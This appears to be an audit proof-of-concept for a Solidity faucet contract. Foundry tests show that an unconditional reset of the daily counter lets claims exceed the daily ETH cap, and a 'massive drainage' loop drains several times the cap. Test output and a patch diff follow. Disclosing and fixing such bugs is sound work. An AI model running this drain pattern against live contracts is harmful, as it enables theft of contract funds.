pragma solidity ^0.8.30;
import {Test, console} from "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract EthCapBypassTest is Test {
RaiseBoxFaucet public faucet;
address owner;
address user1 = makeAddr("user1");
address user2 = makeAddr("user2");
address user3 = makeAddr("user3");
address user4 = makeAddr("user4");
address user5 = makeAddr("user5");
address user6 = makeAddr("user6");
function setUp() public {
owner = address(this);
faucet = new RaiseBoxFaucet(
"RaiseBox Token",
"RBT",
1000 * 10**18,
0.005 ether,
0.01 ether
);
vm.deal(address(faucet), 1 ether);
vm.warp(block.timestamp + 3 days);
}
function testEthCapBypassAttack() public {
uint256 faucetEthBefore = address(faucet).balance;
uint256 dailyCap = faucet.dailySepEthCap();
uint256 ethPerClaim = faucet.sepEthAmountToDrip();
console.log("=================================");
console.log("DAILY ETH CAP BYPASS POC");
console.log("=================================\n");
console.log("--- INITIAL STATE ---");
console.log("Faucet ETH balance:", faucetEthBefore);
console.log("Daily ETH cap:", dailyCap);
console.log("ETH per claim:", ethPerClaim);
console.log("Theoretical max claims:", dailyCap / ethPerClaim);
console.log("");
vm.prank(user1);
faucet.claimFaucetTokens();
console.log("User1 claimed - dailyDrips:", faucet.dailyDrips());
assertEq(faucet.dailyDrips(), ethPerClaim, "First claim should set dailyDrips");
vm.warp(block.timestamp + 3 days + 1);
vm.prank(user2);
faucet.claimFaucetTokens();
console.log("User2 claimed - dailyDrips:", faucet.dailyDrips());
console.log(">>> CAP REACHED (legitimate behavior)\n");
uint256 user1Balance = address(user1).balance;
uint256 user2Balance = address(user2).balance;
console.log("User1 ETH:", user1Balance);
console.log("User2 ETH:", user2Balance);
assertEq(user1Balance, ethPerClaim, "User1 should have ETH");
assertEq(user2Balance, ethPerClaim, "User2 should have ETH");
console.log("\n=================================");
console.log("VULNERABILITY CONFIRMED!");
console.log("Both users received ETH despite cap logic");
console.log("dailyDrips counter is being reset");
console.log("=================================");
}
function testMassiveEthDrainageWithBypass() public {
uint256 initialEth = 1 ether;
uint256 targetDrainage = 0.05 ether;
address[] memory freshUsers = new address[](20);
address[] memory usedUsers = new address[](2);
for(uint256 i = 0; i < 20; i++) {
freshUsers[i] = makeAddr(string(abi.encodePacked("fresh", i)));
}
usedUsers[0] = user1;
usedUsers[1] = user2;
vm.prank(usedUsers[0]);
faucet.claimFaucetTokens();
vm.warp(block.timestamp + 3 days);
vm.prank(usedUsers[1]);
faucet.claimFaucetTokens();
console.log("Setup complete. Starting bypass attack...");
console.log("Initial faucet balance:", address(faucet).balance);
uint256 ethDrained = 0;
uint256 claimsMade = 2;
uint256 usedUserIndex = 0;
for(uint256 i = 0; i < freshUsers.length && ethDrained < targetDrainage; i++) {
vm.warp(block.timestamp + 3 days);
vm.prank(freshUsers[i]);
faucet.claimFaucetTokens();
ethDrained += faucet.sepEthAmountToDrip();
claimsMade++;
if(i % 2 == 1) {
vm.warp(block.timestamp + 3 days);
vm.prank(usedUsers[usedUserIndex % usedUsers.length]);
faucet.claimFaucetTokens();
usedUserIndex++;
claimsMade++;
}
}
console.log("Attack complete!");
console.log("Final faucet balance:", address(faucet).balance);
console.log("Total ETH drained:", initialEth - address(faucet).balance);
console.log("Total claims made:", claimsMade);
console.log("Daily cap:", faucet.dailySepEthCap());
console.log("Cap violations:", (initialEth - address(faucet).balance) / faucet.dailySepEthCap());
assertGt(initialEth - address(faucet).balance, faucet.dailySepEthCap(), "Failed to exceed cap");
}
}
forge test --match-contract EthCapBypassTest -vvv
[⠒] Compiling...
[⠊] Compiling 1 files with Solc 0.8.30
[⠒] Solc 0.8.30 finished in 304.24ms
Compiler run successful!
Ran 2 tests for test/EthCapBypassTest.sol:EthCapBypassTest
[PASS] testEthCapBypassAttack() (gas: 389392)
Logs:
=================================
DAILY ETH CAP BYPASS POC
=================================
--- INITIAL STATE ---
Faucet ETH balance: 1000000000000000000
Daily ETH cap: 10000000000000000
ETH per claim: 5000000000000000
Theoretical max claims: 2
User1 claimed - dailyDrips: 5000000000000000
User2 claimed - dailyDrips: 5000000000000000
>>> CAP REACHED (legitimate behavior)
User1 ETH: 5000000000000000
User2 ETH: 5000000000000000
=================================
VULNERABILITY CONFIRMED!
Both users received ETH despite cap logic
dailyDrips counter is being reset
=================================
[PASS] testMassiveEthDrainageWithBypass() (gas: 1732214)
Logs:
Setup complete. Starting bypass attack...
Initial faucet balance: 990000000000000000
Attack complete!
Final faucet balance: 940000000000000000
Total ETH drained: 60000000000000000
Total claims made: 17
Daily cap: 10000000000000000
Cap violations: 6
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 3.87ms (1.37ms CPU time)
Ran 1 test suite in 40.37ms (3.87ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)
function claimFaucetTokens() public {
faucetClaimer = msg.sender;
// ... checks ...
+ // Reset dailyDrips only on day change, not based on user state
+ uint256 currentDay = block.timestamp / 24 hours;
+ if (currentDay > lastDripDay) {
+ lastDripDay = currentDay;
+ dailyDrips = 0;
+ }
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
- uint256 currentDay = block.timestamp / 24 hours;
- if (currentDay > lastDripDay) {
- lastDripDay = currentDay;
- dailyDrips = 0;
- }
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap &&
address(this).balance >= sepEthAmountToDrip) {
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (success) {
emit SepEthDripped(faucetClaimer, sepEthAmountToDrip);
} else {
revert RaiseBoxFaucet_EthTransferFailed();
}
} else {
emit SepEthDripSkipped(faucetClaimer, sepEthAmountToDrip);
}
- } else {
- dailyDrips = 0; // REMOVE THIS UNCONDITIONAL RESET
}
// ... rest of function
}